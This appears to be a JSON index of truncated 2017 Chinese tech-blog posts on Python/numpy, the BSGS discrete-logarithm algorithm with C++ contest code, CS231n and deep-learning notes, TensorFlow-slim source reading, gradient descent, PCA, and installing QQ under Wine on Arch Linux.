quicksort(right) print quicksort([3,6,8,10,1,2,1]) # Prints \"[1, 1, 2, 3, 6, 8, 10]\" Python版本 # Python有两个支持的版本，分别是2.7和3.4。这有点让人迷惑，3.0向语言中引入了很多不向后兼容的变化，2.7下的代码有时候在3.4下是行不通的。在这个课程中，我们使用的是2.7版本。 如何查看版本呢？使用python –version命令。 基本数据类型 # 和大多数编程语言一样，Python拥有一系列的基本数据类型，比如整型、浮点型、布尔型和字符串等。这些类型的使用方式和在其他语言中的使用方式是类似的。 数字：整型和浮点型的使用与其他语言类似。 x = 3 print type(x) # Prints \"\u003ctype 'int'\u003e\" print x # Prints \"3\" print x + 1 # Addition; prints \"4\" print x - 1 # Subtraction; prints \"2\" print x * 2 # Multiplication; prints \"6\" print x ** 2 # Exponentiation; prints \"9\" x += 1 print x # Prints \"4\" x *= 2 print x # Prints \"8\" y = 2.5 print type(y) # Prints \"\u003ctype 'float'\u003e\" print y, y + 1, y * 2, y ** 2 # Prints \"2.5 3.5 5.0 6.25\" 需要注意的是，Python中没有 x++ 和 x– 的操作符。 Python也有内置的长整型和复杂数字类型，具体细","date":"2017-07-24","externalUrl":null,"permalink":"/2017/07/python-numpy-notes/","section":"Posts","summary":"原文链接 感谢stanford,感谢原作者的翻译，我调整了一下代码格式，可以当做手册来用了，毕竟之前没怎么写过py 23333","tags":["numpy","python"],"title":"python numpy 用法 简明手册","type":"post"},{"categories":["ACM"],"content":"离散对数（Discrete Logarithm）问题是这样一个问题，它是对于模方程 a^x=b(mod prime)，求满足条件的X，或者得出不存在这样的X 最暴力的思路，那么就是枚举x? 根据费马小定理，只需要枚举[0,p-1) 但是还是很大…我们不禁想到把x写成x=A*m+B的形式，m=ceil(sqrt(p)) 因此有 ，变形得到 然后预处理一边存到map中，从小到大枚举另一边看是否存在… 我们可以设 ，其中 , ，这样的话化简后的方程就是 就可以不用求出逆元，要注意只是不用求出逆元，而不是没有用到逆元的存在 就可以不用求出逆元，要注意只是不用求出逆元，而不是没有用到逆元的存在 就可以不用求出逆元，要注意只是不用求出逆元，而不是没有用到逆元的存在 其实在m=sqrt(p)的时候你可能就有预感了… BSGS算法的本质，就是个分块啊，而分块的本质就是暴力乱搞…所以BSGS看起来很高大上的算法不过是暴力乱搞2333 而BSGS的名字也很贴切…A的变化是giant step？B的变化是baby step? (纯属yy…但是我感觉这样想很好理解啊？ 需要注意的是，这里介绍的是常规的BSGS算法， 前提条件是a和P互质 前提条件是a和P互质 前提条件是a和P互质 放一个板子好了，poj 2417 1/* *********************************************** 2Author :111qqz 3Created Time :2017年07月23日 星期日 11时11分00秒 4File Name :2417.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34LL p,b,n; 35map\u003cLL,LL\u003eHash; 36map\u003cLL,LL\u003e::iterator it; 37inline LL ksm(LL a,LL b,LL MOD) 38{ 39 LL res = 1LL; 40 while (b) 41 { 42 if (b\u00261) res = (res*a)%MOD; 43 b = b \u003e\u003e 1; 44 a = (a*a)%MOD; 45 } 46 return res; 47} 48LL BSGS(LL a,LL b ,LL p) // a^x = b (mod p),求x 49{ 50 a%=p; 51 b%=p; 52 if (!a\u0026\u0026!b) return 1; 53 if (!a) return -1; 54 Hash.clear(); 55 LL m = ceil(sqrt(double(p))); 56 LL tmp = b; 57 for (LL j = 0 ; j \u003c= m ; j++) 58 { 59 Has","date":"2017-07-23","externalUrl":null,"permalink":"/2017/07/bsgs-algorithm-notes/","section":"Posts","summary":"离散对数（Discrete Logarithm）问题是这样一个问题，它是对于模方程","tags":["BSGS","分块"],"title":"BSGS（Baby steps giant steps）算法学习笔记","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： Given a prime P, 2 \u003c= P \u003c 231, an integer B, 2 \u003c= B \u003c P, and an integer N, 1 \u003c= N \u003c P, compute the discrete logarithm of N, base B, modulo P. That is, find an integer L such that BL == N (mod P) 思路：bsgs算法 详情见BSGS算法笔记 然后被map的count坑了一下？ 我想判断map中某个key是否存在，用count会TLE，find也会TLE,[]可以通过….不太懂，复杂度不都是log吗，差常数？还是有人会退化？ 不过似乎[]比较安全就对了。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年07月23日 星期日 11时11分00秒 4File Name :2417.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34LL p,b,n; 35map\u003cLL,LL\u003eHash; 36map\u003cLL,LL\u003e::iterator it; 37inline LL ksm(LL a,LL b,LL MOD) 38{ 39 LL res = 1LL; 40 while (b) 41 { 42 if (b\u00261) res = (res*a)%MOD; 43 b = b \u003e\u003e 1; 44 a = (a*a)%MOD; 45 } 46 return res; 47} 48LL BSGS(LL a,LL b ,LL p) // a^x = b (mod p),求x 49{ 50 a%=p; 51 b%=p; 52 if (!a\u0026\u0026!b) return 1; 53 if (!a) return -1; 54 Hash.clear(); 55 LL m = ceil(sqrt(double(p))); 56 LL tmp = b; 57 for (LL j = 0 ; j \u003c= m ; j++) 58 { 59 Hash[tmp]=j; 60 tmp = (tmp*a)%p; 61 } 62 tmp = ksm(a,m,p); 63 LL ret = 1; 64 65 for (LL i = 1 ; i \u003c= m+1 ; i++) 66 { 67 ret = ret*tmp%p; 68 if (Hash[ret]) return i*m-Hash[ret]; //注意处理下%....虽然其实不处理也没关系... 69 } 70 return -1; ","date":"2017-07-23","externalUrl":null,"permalink":"/2017/07/poj-2417/","section":"Posts","summary":"题目链接 题意： Given a prime P, 2 \u003c= P \u003c 231, an integer B, 2 \u003c= B \u003c P, and an integer N, 1 \u003c= N \u003c P, compute the discrete logarithm of N, base B, modulo P. That is, find an integer L such that BL == N (mod P)","tags":["BSGS"],"title":"poj 2417 Discrete Logging (BSGS算法)","type":"post"},{"categories":["deep-learning"],"content":"其实我觉得这部分可以直接黑箱。。。直接无脑上Leaky ReLU或者Maxou？不过对这些激活函数的特点有个high-level的了解应该总是没坏处的，只要别太纠结细节就好了把。。 # 每个激活函数（或非线性函数）的输入都是一个数字，然后对其进行某种固定的数学操作。下面是在实践中可能遇到的几种激活函数： ———————————————————————————————————————— 左边是Sigmoid非线性函数，将实数压缩到[0,1]之间。右边是tanh函数，将实数压缩到[-1,1]。 ———————————————————————————————————————— **Sigmoid。**sigmoid非线性函数的数学公式是 ，函数图像如上图的左边所示。在前一节中已经提到过，它输入实数值并将其“挤压”到0到1范围内。更具体地说，很大的负数变成0，很大的正数变成1。在历史上，sigmoid函数非常常用，这是因为它对于神经元的激活频率有良好的解释：从完全不激活（0）到在求和后的最大频率处的完全饱和（saturated）的激活（1）。然而现在sigmoid函数已经不太受欢迎，实际很少使用了，这是因为它有两个主要缺点： Sigmoid函数饱和使梯度消失。sigmoid神经元有一个不好的特性，就是当神经元的激活在接近0或1处时会饱和：在这些区域，梯度几乎为0。回忆一下，在反向传播的时候，这个（局部）梯度将会与整个损失函数关于该门单元输出的梯度相乘。因此，如果局部梯度非常小，那么相乘的结果也会接近零，这会有效地“杀死”梯度，几乎就有没有信号通过神经元传到权重再到数据了。还有，为了防止饱和，必须对于权重矩阵初始化特别留意。比如，如果初始化权重过大，那么大多数神经元将会饱和，导致网络就几乎不学习了。 Sigmoid函数的输出不是零中心的。这个性质并不是我们想要的，因为在神经网络后面层中的神经元得到的数据将不是零中心的。这一情况将影响梯度下降的运作，因为如果输入神经元的数据总是正数（比如在 中每个元素都 ），那么关于 的梯度在反向传播的过程中，将会要么全部是正数，要么全部是负数（具体依整个表达式 而定）。这将会导致梯度下降权重更新时出现z字型的下降。然而，可以看到整个批量的数据的梯度被加起来后，对于权重的最终更新将会有不同的正负，这样就从一定程度上减轻了这个问题。因此，该问题相对于上面的神经元饱和问题来说只是个小麻烦，没有那么严重。 **Tanh。**tanh非线性函数图像如上图右边所示。它将实数值压缩到[-1,1]之间。和sigmoid神经元一样，它也存在饱和问题，但是和sigmoid神经元不同的是，它的输出是零中心的。因此，在实际操作中，tanh非线性函数比sigmoid非线性函数更受欢迎。注意tanh神经元是一个简单放大的sigmoid神经元，具体说来就是： 。 ———————————————————————————————————————— 左边是ReLU（校正线性单元：Rectified Linear Unit）激活函数，当 时函数值为0。当 函数的斜率为1。右边是从 Krizhevsky等的论文中截取的图表，指明使用ReLU比使用tanh的收敛快6倍。 ———————————————————————————————————————— **ReLU。**在近些年ReLU变得非常流行。它的函数公式是 。换句话说，这个激活函数就是一个关于0的阈值（如上图左侧）。使用ReLU有以下一些优缺点： 优点：相较于sigmoid和tanh函数，ReLU对于随机梯度下降的收敛有巨大的加速作用（ Krizhevsky 等的论文指出有6倍之多）。据称这是由它的线性，非饱和的公式导致的。 优点：sigmoid和tanh神经元含有指数运算等耗费计算资源的操作，而ReLU可以简单地通过对一个矩阵进行阈值计算得到。 缺点：在训练的时候，ReLU单元比较脆弱并且可能“死掉”。举例来说，当一个很大的梯度流过ReLU的神经元的时候，可能会导致梯度更新到一种特别的状态，在这种状态下神经元将无法被其他任何数据点再次激活。如果这种情况发生，那么从此所以流过这个神经元的梯度将都变成0。也就是说，这个ReLU单元在训练中将不可逆转的死亡，因为这导致了数据多样化的丢失。例如，如果学","date":"2017-07-22","externalUrl":null,"permalink":"/2017/07/common-activation-functions/","section":"Posts","summary":"其实我觉得这部分可以直接黑箱。。。直接无脑上Leaky ReLU或者Maxou？不过对这些激活函数的特点有个high-level的了解应该总是没坏处的，只要别太纠结细节就好了把。。 # 每个激活函数（或非线性函数）的输入都是一个数字，然后对其进行某种固定的数学操作。下面是在实践中可能遇到的几种激活函数：","tags":["激活函数"],"title":"stanford cs 231n:常用激活函数","type":"post"},{"categories":["deep-learning"],"content":"想要修改tensorflow-slim 中 nets中的某个model,例如明明为kk_v2.py 观察到train_image_classifier.py中调用模型的部分 1network_fn = nets_factory.get_network_fn( 2 FLAGS.model_name, 3 num_classes=(dataset.num_classes - FLAGS.labels_offset), 4 weight_decay=FLAGS.weight_decay, 5 is_training=True) 调用了nets_factory.get_network_fn，get_network如下： 1def get_network_fn(name, num_classes, weight_decay=0.0, is_training=False): 2 \"\"\"Returns a network_fn such as `logits, end_points = network_fn(images)`. 3 4 Args: 5 name: The name of the network. 6 num_classes: The number of classes to use for classification. 7 weight_decay: The l2 coefficient for the model weights. 8 is_training: `True` if the model is being used for training and `False` 9 otherwise. 10 11 Returns: 12 network_fn: A function that applies the model to a batch of images. It has 13 the following signature: 14 logits, end_points = network_fn(images) 15 Raises: 16 ValueError: If network `name` is not recognized. 17 \"\"\" 18 if name not in networks_map: 19 raise ValueError('Name of network unknown %s' % name) 20 func = networks_map[name] 21 @functools.wraps(func) 22 def network_fn(images): 23 arg_scope = arg_scopes_map[name](weight_decay=weight_decay) 24 with slim.arg_scope(arg_scope): 25 return func(images, num_classes, is_training=is_training) 26 if hasattr(func, 'default_image_size'): 27 network_fn.default_image_size = func.default_image_size 28 29 return network_fn 我们看到model name 是通过 networks_map映射到func的 因此需要添加对于我们新的model,kk_v2的映射 1networks_map = {'alexnet_v2': alexnet.alexnet_v2, 2 'cifarnet': cifarnet.cifarnet, 3 'overfeat': overfeat.overfeat, 4 'vgg_a': vgg.vgg_a, 5 'vgg_16': vgg.vgg_16, 6 'vgg_19': vgg.vgg_19, 7 'inception_v1': inception.inception_v1, 8 'inception_v2': inception.inception_v2, 9 'inception_v3': inception.inception_v3, 10 'inception_","date":"2017-07-19","externalUrl":null,"permalink":"/2017/07/how-to-copy-modify-nets-model-on-tensorflow-slim/","section":"Posts","summary":"想要修改tensorflow-slim 中 nets中的某个model,例如明明为kk_v2.py","tags":["slim","tensorflow"],"title":"how to copy \u0026 modify nets model on tensorflow slim","type":"post"},{"categories":["deep-learning"],"content":"原始论文 翻译链接 **——前言：**作者认为残差连接在训练深度卷积模型是很有必要的。至少在图像识别上，我们的研究似乎并不支持这一观点。 摘要： 近年来，深度卷积神经网络对图像识别性能的巨大提升发挥着关键作用。以Inception网络为例，其以相对较低的计算代价取得出色的表现。最近，与传统结构相结合的残差连接网络在2015ILSVRC挑战赛上取得非常优异的成绩；它的性能跟最新的Inception-v3 网络非常接近。因此也就引出了结合残差连接的Inception结构能否对性能进行提高的问题。本文给出实验证明，残差连接可以明显加速Inception网络的训练。同时实验也证明，相比没有残差连接的消耗相似的Inception网络，残差Inception网络在性能上具有微弱的优势。针对是否包含残差连接的Inception网络，本文同时提出了一些新的简化网络。这些网络的变体在ILSVRC2012分类任务上很明显的改善了单一框架的识别性能。本文进一步展示了适当的激活缩放如何使得很宽的残差Inception网络的训练更加稳定。本文通过对三个残差和一个Inception-v4进行组合，在top-5错误率上达到了 3.08%。 前言： 自从Krizhevsky等人于2012年赢得Image Net比赛，其网络“AlexNet”已在越来越多的机器视觉任务中得到成功应用，比如目标检测、分割、人体姿态估计、视频分类、目标跟踪、超分辨率等。这些都是使用深度卷积网络的成功案例。 本研究结合最近的两个想法：残差连接和最近的Inception网络结构除了直接的融合，我们也研究了Inception本身通过变得更深更宽能否能变得更加高效。为了实现这个目的，我们设计了一个新版本的Inception-v4，相比Inception-v3，它有更加统一简化的网络结构和更多的inception模块。从历史观点来看，Inception-v3继承了之前的很多方法。技术性局限主要在于使用DistBelief对分布式训练进行模型划分。 如今，将训练迁移到TensorFlow上以后，这些问题也就随之解决，这样就允许我们对结构进行简化。简化的网络结构详见第三节。 在本文中，我们将两个单一Inception变体——Inception-v3和v4与消耗相似的 InceptionResNet混合版本进行比较。这些模型的挑选主要满足以下约束条件，即和非残差模型具有相似的参数和计算复杂度。事实上我们对更深更宽的Inception-ResNet变体也进行测试，它们在ImageNet分类任务上表现性能相似。 最新的实验对组合模型的性能进行了评估。结果显示Inception-v4和Inception-ResNetv2的性能都很好，在ImageNet验证集上其性能已超过业界领先的单个框架模型，我们想看这种结合如何将业界领先水准继续推进，令人惊讶的是，我们发现单个框架性能的提升不会引起组合性能大幅的提高。尽管如此，我们仍然用四个模型组合在验证集上取得了top-5上3.1%的错误率。 在最后一部分，我们分析了分类任务失败的原因，并总结出组合模型在标注数据上的类标噪声上仍然没有达到很好的效果，同时对于预测还有很有大的提升空间。 近期工作： 卷积网络在大规模图像识别任务上的运用非常广泛。主要的模型有Network-in-network、VGGNet、GoogleLeNet(Inception-v1)。残差连接在引文5中提出，并指出附加残差网络对于图像识别尤其是目标检测具有很大的优势，并给出理论和实验验证。作者认为残差连接在训练深度卷积模型是很有必要的。至少在图像识别上，我们的研究似乎并不支持这一观点。然而，残差连接所带来的潜在优势可能需要在更深网络结构中来展现。在实验部分，我们展示了不使用残差连接时深度网络的训练并不难做到。然而，使用残差连接能够极大的提高训练速度，单单这一点就值的肯定。 Inception深度卷积网络被称为GoogleLeNet或Incention-v1。继而我们通过各种方法对 Inception结构进行优化，首先引入batch normalization(Inception-v2)。后来在第三代中增加factorization因子，即本文中提到的Inception-v3。 图1.残差连接 图2.优","date":"2017-07-18","externalUrl":null,"permalink":"/2017/07/inception-resnet-notes/","section":"Posts","summary":"原始论文 翻译链接 **——前言：**作者认为残差连接在训练深度卷积模型是很有必要的。至少在图像识别上，我们的研究似乎并不支持这一观点。","tags":["Inception","resnet"],"title":"Inception-v4,Inception-ResNet 和残差连接对学习的影响","type":"post"},{"categories":["deep-learning"],"content":"课程链接 # 知乎翻译链接 之前看的原版，后来发现知乎上有翻译，正好想到之前看完没有整理总结，干脆就写一下自己的理解，顺便贴一下课程翻译（感觉翻译的质量好像还可以？ 分类器就是一个函数,自变量是图像信息，因变量是类别信息。 比如线性分类器，SVM,softmax 不同的分类器有着不同的score function,对应着不同的cost function. 之所以选择不同的cost function的原因是，要保证cost funtion是凸函数，不然会存在很多局部极值。 分类器使得分类问题变成了一个优化问题，在最优化过程中，将通过更新评分函数的参数来最小化损失函数值。 然后，所谓overfit,就是参数太多而训练集太小，导致可以完美符合这些训练集，但是无法一般化。 解决overfit有很多方法，这里介绍了正则化（Regularization） 思路是在cost funtion中添加一项Regularization loss ,用作对参数值的惩罚，lambda为惩罚因子 这样就可以使得每个参数尽可能小，这样每个参数对于cost function的贡献就比较小，可以改善overfit的问题 原文如下 # 内容列表： 线性分类器简介 线性评分函数 阐明线性分类器 译者注：上篇翻译截止处 损失函数 多类SVM Softmax分类器 SVM和Softmax的比较 基于Web的可交互线性分类器原型 小结 线性分类 # 上一篇笔记介绍了图像分类问题。图像分类的任务，就是从已有的固定分类标签集合中选择一个并分配给一张图像。我们还介绍了k-Nearest Neighbor （k-NN）分类器，该分类器的基本思想是通过将测试图像与训练集带标签的图像进行比较，来给测试图像打上分类标签。k-Nearest Neighbor分类器存在以下不足： 分类器必须_记住_所有训练数据并将其存储起来，以便于未来测试数据用于比较。这在存储空间上是低效的，数据集的大小很容易就以GB计。 对一个测试图像进行分类需要和所有训练图像作比较，算法计算资源耗费高。 概述：我们将要实现一种更强大的方法来解决图像分类问题，该方法可以自然地延伸到神经网络和卷积神经网络上。这种方法主要有两部分组成：一个是评分函数（score function），它是原始图像数据到类别分值的映射。另一个是损失函数（loss function），它是用来量化预测分类标签的得分与真实标签之间一致性的。该方法可转化为一个最优化问题，在最优化过程中，将通过更新评分函数的参数来最小化损失函数值。 从图像到标签分值的参数化映射 # 该方法的第一部分就是定义一个评分函数，这个函数将图像的像素值映射为各个分类类别的得分，得分高低代表图像属于该类别的可能性高低。下面会利用一个具体例子来展示该方法。现在假设有一个包含很多图像的训练集 ，每个图像都有一个对应的分类标签 。这里 并且 。这就是说，我们有N个图像样例，每个图像的维度是D，共有K种不同的分类。 举例来说，在CIFAR-10中，我们有一个N=50000的训练集，每个图像有D=32x32x3=3072个像素，而K=10，这是因为图片被分为10个不同的类别（狗，猫，汽车等）。我们现在定义评分函数为： ，该函数是原始图像像素到分类分值的映射。 线性分类器：在本模型中，我们从最简单的概率函数开始，一个线性映射： 在上面的公式中，假设每个图像数据都被拉长为一个长度为D的列向量，大小为[D x 1]。其中大小为[K x D]的矩阵W和大小为[K x 1]列向量b为该函数的参数（parameters）。还是以CIFAR-10为例， 就包含了第i个图像的所有像素信息，这些信息被拉成为一个[3072 x 1]的列向量，W大小为[10x3072]，b的大小为[10x1]。因此，3072个数字（原始像素数值）输入函数，函数输出10个数字（不同分类得到的分值）。参数W被称为权重（weights）。b被称为偏差向量（bias vector），这是因为它影响输出数值，但是并不和原始数据 产生关联。在实际情况中，人们常常混用权重和参数这两个术语。 需要注意的几点： 首先，一个单独的矩阵乘法 就高效地并行评估10个不同的分类器（每个分类器针对一个分类），其中每个类的分类器就是W的一个行向量。 注意我们认","date":"2017-07-17","externalUrl":null,"permalink":"/2017/07/cs231n-linear-classification/","section":"Posts","summary":"课程链接 # 知乎翻译链接","tags":["Convolutional Neural Network","CS231n","Linear classification"],"title":"stanford CS231n notes：Linear classification","type":"post"},{"categories":["deep-learning"],"content":"py的源码看起来还是很愉快的。。。（虽然熟练成程度完全不如cpp。。。。 datasets里是数据集相关 deployment是部署相关 nets里给了很多网络结构 preprocessing给了几种预处理的方式 这些都和slim没有太大关系，就不多废话了。 分析的部分见代码注释… 由于刚刚入门machine learning 一周…还有很多内容还没有从理论层面接触…所以源码的理解也十分有限…希望能以后有机会补充一波 1 # Copyright 2016 The TensorFlow Authors. All Rights Reserved. 2 # 3 # Licensed under the Apache License, Version 2.0 (the \"License\"); 4 # you may not use this file except in compliance with the License. 5 # You may obtain a copy of the License at 6 # 7 # http://www.apache.org/licenses/LICENSE-2.0 8 # 9 # Unless required by applicable law or agreed to in writing, software 10 # distributed under the License is distributed on an \"AS IS\" BASIS, 11 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 # See the License for the specific language governing permissions and 13 # limitations under the License. 14 # ============================================================================== 15 r\"\"\"Downloads and converts a particular dataset. 16 17 Usage: 18 19$ python download_and_convert_data.py \\ 20 --dataset_name=mnist \\ 21 --dataset_dir=/tmp/mnist 22 23$ python download_and_convert_data.py \\ 24 --dataset_name=cifar10 \\ 25 --dataset_dir=/tmp/cifar10 26 27$ python download_and_convert_data.py \\ 28 --dataset_name=flowers \\ 29 --dataset_dir=/tmp/flowers 30 \"\"\" 31 from __future__ import absolute_import #from __future__是为了解决python版本升级导致的兼容问题，没必要纠结 32 from __future__ import division 33 from __future__ import print_function 34 35 import tensorflow as tf 36 37 from datasets import download_and_convert_cifar10 38 from datasets import download_and_convert_flowers 39 from datasets import download_and_convert_mnist 40 41 FLAGS = tf.app.flags.FLAGS #FLAGS 用来传递或者设置tensforflow的参数 42 43 tf.app.flags.DEFINE_string( #设置的格式为：('参数名称',参数值,'参数的解释'） 44 'dataset_nam","date":"2017-07-16","externalUrl":null,"permalink":"/2017/07/tensorflow-slim-code-notes/","section":"Posts","summary":"py的源码看起来还是很愉快的。。。（虽然熟练成程度完全不如cpp。。。。","tags":["tensorflow"],"title":"tensorflow slim 源码分析","type":"post"},{"categories":["deep-learning"],"content":"参考资料 机器学习中梯度下降（Gradient Descent， GD）算法只需要计算损失函数的一阶导数，计算代价小，非常适合训练数据非常大的应用。 梯度下降法的物理意义很好理解，就是沿着当前点的梯度方向进行线搜索，找到下一个迭代点。但是，为什么有会派生出 batch、mini-batch、online这些GD算法呢？ 原来，batch、mini-batch、SGD、online的区别在于训练数据的选择上： ** ** **batch** **mini-batch** **Stochastic** **Online** **训练集** 固定 固定 固定 实时更新 **单次迭代样本数** 整个训练集 训练集的子集 单个样本 根据具体算法定 **算法复杂度** 高 一般 低 低 **时效性** 低 一般（delta 模型） 一般（delta 模型） 高 **收敛性** 稳定 较稳定 不稳定 不稳定 1. batch GD 每次迭代的梯度方向计算由所有训练样本共同投票决定， batch GD的损失函数是： J(θ)=12m∑i=1m(hθ(x(i))−y(i))2J(θ)=12m∑i=1m(hθ(x(i))−y(i))2 训练算法为： repeate{θ:=θ−α1m∑i=1m(hθ(x(i))−y(i))x(i)j}repeate{θ:=θ−α1m∑i=1m(hθ(x(i))−y(i))xj(i)} 什么意思呢，batch GD算法是计算损失函数在整个训练集上的梯度方向，沿着该方向搜寻下一个迭代点。”batch“的含义是训练集中所有样本参与每一轮迭代。 2. mini-batch GD batch GD每一轮迭代需要所有样本参与，对于大规模的机器学习应用，经常有billion级别的训练集，计算复杂度非常高。因此，有学者就提出，反正训练集只是数据分布的一个采样集合，我们能不能在每次迭代只利用部分训练集样本呢？这就是mini-batch算法。 假设训练集有m个样本，每个mini-batch（训练集的一个子集）有b个样本，那么，整个训练集可以分成m/b个mini-batch。我们用ωω表示一个mini-batch, 用ΩjΩj表示第j轮迭代中所有mini-batch集合，有： Ω={ωk:k=1,2…m/b}Ω={ωk:k=1,2…m/b} 那么， mini-batch GD算法流程如下： repeate{repeate{foreachωkinΩ:θ:=θ−α1b∑i=1b(hθ(x(i))−y(i))x(i)}for(k=1,2…m/b)}repeate{repeate{foreachωkinΩ:θ:=θ−α1b∑i=1b(hθ(x(i))−y(i))x(i)}for(k=1,2…m/b)} 3. Stochastic GD （SGD） 随机梯度下降算法（SGD）是mini-batch GD的一个特殊应用。SGD等价于b=1的mini-batch GD。即，每个mini-batch中只有一个训练样本。 4. Online GD 随着互联网行业的蓬勃发展，数据变得越来越“廉价”。很多应用有实时的，不间断的训练数据产生。在线学习（Online Learning）算法就是充分利用实时数据的一个训练算法。 Online GD于mini-batch GD/SGD的区别在于，所有训练数据只用一次，然后丢弃。这样做的好处是可以最终模型的变化趋势。比如搜索广告的点击率(CTR)预估模型，网民的点击行为会随着时间改变。用batch算法（每天更新一次）一方面耗时较长（需要对所有历史数据重新训练）；另一方面，无法及时反馈用户的点击行为迁移。而Online Leaning的算法可以实时的最终网民的点击行为迁移。","date":"2017-07-10","externalUrl":null,"permalink":"/2017/07/Gradient-descent-methods/","section":"Posts","summary":"参考资料 机器学习中梯度下降（Gradient Descent， GD）算法只需要计算损失函数的一阶导数，计算代价小，非常适合训练数据非常大的应用。","tags":["梯度下降"],"title":"几种梯度下降(GD)法的比较（转载）","type":"post"},{"categories":["deep-learning"],"content":"说下我自己的理解 PCA：主成分分析，是一种预处理手段。对于n维的数据，通过一些手段，把变化显著的k个维度保留，舍弃另外n-k个维度。对于一些非监督学习算法，降低维度可以有效加快运算速度。而n-k个最次要方向的丢失带来的误差不会很大。 PCA的思想是将n维特征映射到k维上（k\u003cn），这k维是全新的正交特征。这k维特征称为主成分，是重新构造出来的k维特征，而不是简单地从n维特征中去除其余n-k维特征。 whitening:是一种预处理手段，为了解决数据的冗余问题。比如如果数据是一个16_16的图像，raw data 有16_16=256维度，但是实际上这256个维度不是相互独立的，相邻的像素位置实际上有大关联！ Principal Component Analysis # PCA is a method for reducing the number of dimensions in the vectors in a dataset. Essentially, you’re compressing the data by exploiting correlations between some of the dimensions. Covariance Matrix # PCA starts with computing the covariance matrix. I found this tutorial helpful for getting a basic understanding of covariance matrices (I only read a little bit of it to get the basic idea). The following equation is presented for computing the covariance matrix. Note that the placement of the transpose operator creates a matrix here, not a single value. Note that this function only computes the covariance matrix if the mean is zero. The proper function would be based on (x - mu)(x - mu)^T. For the tutorial example, the dataset has been adjusted to have a mean of 0. For 2D data, here are the equations for each individual cell of the 2x2 covariance matrix, so that you can get more of a feel for what each element represents. If you subtract the means from the dataset ahead of time, then you can drop the “minus mu” terms from these equations. Subtracting the means causes the dataset to be centered around (0, 0). The top-left corner is just a measure of how much the data varies along the x_1 dimension. Similarly, the bottom-right corner is the variance in the x_2 dimension. The bottom-left and top-right corners are identical. These indicate the correlation between x_1 and x_2. If the data is mainly in quadrants one and three, then all of th","date":"2017-07-06","externalUrl":null,"permalink":"/2017/07/deep-learning-tutorial-pca-and-whitening/","section":"Posts","summary":"说下我自己的理解 PCA：主成分分析，是一种预处理手段。对于n维的数据，通过一些手段，把变化显著的k个维度保留，舍弃另外n-k个维度。对于一些非监督学习算法，降低维度可以有效加快运算速度。而n-k个最次要方向的丢失带来的误差不会很大。","tags":["PCA","Whitening","预处理"],"title":"Deep Learning Tutorial - PCA and Whitening","type":"post"},{"categories":["其他"],"content":"参考资料：install qq/tim on linux with wine wine运行qq不能输入账号 This tutorial introduces how to install QQ/TIM in Linux with Wine, which had been tested on ArchLinux with Wine 2.4. Prerequisites # Before start, you need to get the latest Wine. I’m not sure whether QQ/TIM can run on lower version of Wine. In ArchLinux, you can easily get the latest Wine using following command: ? pacman -S wine However, in Debian, you need to install Wine with some more steps. You can see this tutorial. Then, you need to install a helper of Wine, Winetricks. Winetricks is a script to download and install various redistributable runtime libraries needed to run some programs in Wine. To install Winetricks, you can use following command: sudo wget https://raw.githubusercontent.com/Winetricks/winetricks/master/src/winetricks -O /usr/local/bin/winetricks sudo chmod a+x /usr/local/bin/winetricks After that, we need to fix some problems manually caused by Winetricks. According to this Bug Report, we need to download W2KSP4_EN.EXE from other mirror sites: Similarly, we need to download InstMsiW.exe manually: mkdir -p $HOME/.cache/winetricks/msls31 wget ftp://ftp.iop.org/pub/ESXP6/instmsiw.exe -O $HOME/.cache/winetricks/msls31/InstMsiW.exe Initialize Wine Environment Initialize Wine Environment # To create a 32-bit WINE system, you need to open a terminal and run the following command: WINEARCH=win32 wine wineboo Then you need to run winecfg in terminal and change Windows version to Windows 7. Install Core Fonts # Next, we are going to install essential fonts for Wine. winetricks corefonts cjkfonts where corefonts stands for MS Arial, Courier, Times fonts, and cjkfonts denotes all Chinese, Japanese and Korean fonts and alias. Install Windows Components # Then, we need to install components which are need b","date":"2017-06-26","externalUrl":null,"permalink":"/2017/06/install-qq-on-manjaro/","section":"Posts","summary":"参考资料：install qq/tim on linux with wine wine运行qq不能输入账号 This tutorial introduces how to install QQ/TIM in Linux with Wine, which had been tested on ArchLinux with Wine 2.4.","tags":["manjaro"],"title":"archlinux/manjaro 下 安装 qq/tim","type":"post"},{"categories":["其他"],"content":"。。。哭了哦。。终于解决了这个bug 参考资料： libgfortran broken? libgfortran=3.0 should not be install with numpy \u003c= 1.9 [SOLVED] libgfortran.so.3:cannot open shared object file: No such file [Replacing gcc-libs-libs with gcc-multilib arch conflict with gcc-libs and gcc-libs-multilib on latest update 一开始以为是anaconda相关。。。搞了半天。。。 然后又按照第一个资料里。。。试图把libgfortran用libgcc替代。。 发现删掉libgfortran会同时删掉scripy… 然后又觉得。。或许是scripy有什么问题？ 查了一会也没发现什么。。。 后来又想也许是dlib的问题？ 看了下dlib的github,说是pip 